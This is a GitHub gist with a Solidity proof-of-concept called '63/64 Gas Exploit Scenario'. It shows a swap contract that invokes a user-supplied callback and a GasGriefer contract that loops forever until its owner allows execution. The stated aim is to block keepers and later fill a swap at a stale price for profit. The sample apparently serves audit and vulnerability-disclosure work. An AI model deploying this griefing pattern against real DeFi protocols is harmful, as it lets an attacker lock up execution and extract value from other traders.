Skip to content

Instantly share code, notes, and snippets.

@JustDravee
Forked from owenThurm/GasGrief.sol
Created January 24, 2023 04:39
Show Gist options
  • Save JustDravee/40f7d6b6e4b64b58aeb1e6028dd688ee to your computer and use it in GitHub Desktop.
Save JustDravee/40f7d6b6e4b64b58aeb1e6028dd688ee to your computer and use it in GitHub Desktop.
63/64 Gas Exploit Scenario
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;
interface ICallback {
function beforeExecution() external;
}
/** Exploit Desc: **/
// The GasGriefer is used as a `callbackContract` on a swapOrder
// Assume the execution of the swapOrder takes > 1/64th of the block gas limit.
// It will be impossible for the keeper to successfully execute the executeOrder function.
//
// Example:
//
// Block 100: Exploiter creates a swap for USDC -> ETH @ $100/ETH
// Block 101: Keeper attempts to execute this swap, but it fails as the exploiter is currently gas DoSing the execution.
// Block 300: Ether is now worth $500/ETH, the exploiter now allows the execution to go through and the swap executes at $100/ETH
//
// Note:
// Even just adding a callback that infinite loops will break estimate gas -> which might DoS an automated keeper on its own.
contract GasGriefee {
struct SwapOrder {
address[] route;
uint256 amountIn;
address callbackContract;
uint256 blockNumber;
}
struct PriceParams {
uint256 price;
uint256 blockNumber;
}
mapping(uint256 => SwapOrder) orders;
uint256 nonce;
constructor() {}
function createSwapOrder(address[] calldata _route, uint256 _amountIn, address _callbackContract) external returns (uint256) {
uint256 nextNonce = ++nonce;
orders[nextNonce] = SwapOrder({
route: _route,
amountIn: _amountIn,
callbackContract: _callbackContract,
blockNumber: block.number
});
return nextNonce;
}
function executeOrder(uint256 _id, PriceParams calldata params) external onlyKeeper {
SwapOrder memory order = orders[_id];
if (params.blockNumber != order.blockNumber) revert();
try ICallback(order.callbackContract).beforeExecution() {} catch {}
/** Execute the swap order at the provided price **/
}
}
/** Use this contract as a callbackContract **/
contract GasGriefer is Ownable {
uint x = 5;
bool allowExecution;
function beforeExecution() external {
if (allowExecution) return;
while(true) {
x += 1;
}
}
function setAllowExecution(bool _allowExecution) onlyOwner {
allowExecution = _allowExecution;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment